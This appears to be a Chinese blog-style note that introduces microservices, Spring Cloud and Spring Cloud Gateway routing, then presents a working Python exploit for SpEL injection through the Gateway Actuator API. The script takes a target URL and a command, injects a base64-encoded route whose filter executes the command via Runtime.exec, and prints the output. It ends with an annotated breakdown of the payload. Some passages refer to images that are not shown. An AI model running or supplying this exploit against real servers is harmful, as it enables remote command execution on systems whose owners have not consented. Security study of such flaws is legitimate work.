【1】微服务架构
是一项在云中部署应用和服务的新技术。大部分围绕微服务的争论都集中在容器或其他技术是否能很好的实施微服务,而红帽说API应该是重点。
微服务可以在“自己的程序”中运行,并通过“轻量级设备与HTTP型API进行沟通”。
关键在于该服务可以在自己的程序中运行。
通过这一点我们就可以将服务公开与微服务架构(在现有系统中分布一个API)区分开来。
在服务公开中,许多服务都可以被内部独立进程所限制。
如果其中任何一个服务需要增加某种功能,那么就必须缩小进程范围。
在微服务架构中,只需要在特定的某种服务中增加所需功能,而不影响整体进程的架构。
【2】Spring Cloud
是一系列框架的有序集合。
它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。
Spring Cloud并没有重复制造轮子,它只是将各家公司开发的比较成熟、经得起实际考验的服务框架组合起来,通过Spring Boot风格进行再封装屏蔽掉了复杂的配置和实现原理,最终给开发者留出了一套简单易懂、易部署和易维护的分布式系统开发工具包
服务网关
【1】 统一入口
所有请求通过网关路由到内部其他服务。
【2】断言(Predicates)和过滤器(filters)特定路由。
断言是根据具体的请求的规则由route去处理;
过滤器用来对请求做各种判断和修改。
【3】Hystrix 熔断机制。
Hystrix是 spring cloud gateway中是以filter的形式使用的。
【4】请求限流
防止大规模请求对业务数据造成破坏。
【5】 路径重写
自定义路由转发规则。
路由过滤器允许以某种方式修改传入的HTTP请求或传出的HTTP响应。路径过滤器的范围限定为特定路径。Spring Cloud Gateway包含许多内置的GatewayFilter工厂。
网关配置的基本组成模块,和Zuul的路由配置模块类似。
一个Route模块由一个 ID,一个目标 URI,一组断言和一组过滤器定义。如果断言为真,则路由匹配,目标URI会被访问。
这几个参考:https://www.cnblogs.com/crazymakercircle/p/11704077.html
是一个做监控的组件
可以做健康检查、审查、统计、HTTP追踪
引入这个依赖
黑色id表示路由规则id
import requests
import json
import base64
import re
payload1 = '/actuator/gateway/routes/half'
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/half'
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Connection': 'close',
'Content-Type': 'application/json'
}
proxies = {
'http': 'http://IP:8080'
}
data = 'eyAgImlkIjogInd1eWFhcSIsICAiZmlsdGVycyI6IFt7ICAgICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgICAgImFyZ3MiOiB7ICAgICAgIm5hbWUiOiAiUmVzdWx0IiwgICAgICAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiAgICB9ICB9XSwgICJ1cmkiOiAiaHR0cDovL2V4YW1wbGUuY29tIn0KCg=='
data1 = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '0'
}
def exec():
# 执行命令
requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd),verify=False,timeout=5)
# 获得结果
requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
#
a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
exec = re.findall(r'Result = [\'"]?([^\'" )]+)', a)
print(exec)
if __name__ == '__main__':
url = input("Url:")
cmd = input("Cmd:")
exec()
【1】红,创建一个新字符串,并执行任意命令
【2】蓝,Java里运行代码的函数
【3】紫,获取执行的结果
【4】黄,将执行的结果转换成字节数组
【5】黑,将字节数组转换成字符串
【6】绿,spEL
#{…} 用于执行SpEl表达式,并将内容赋值给属性
$ {…} 主要用于加载外部属性文件中的值
#{…} 和$ {…} 可以混合使用,但是必须#{}外面,$ {}在里面,#{ ‘${}’ } ,注意单引号,注意不能反过来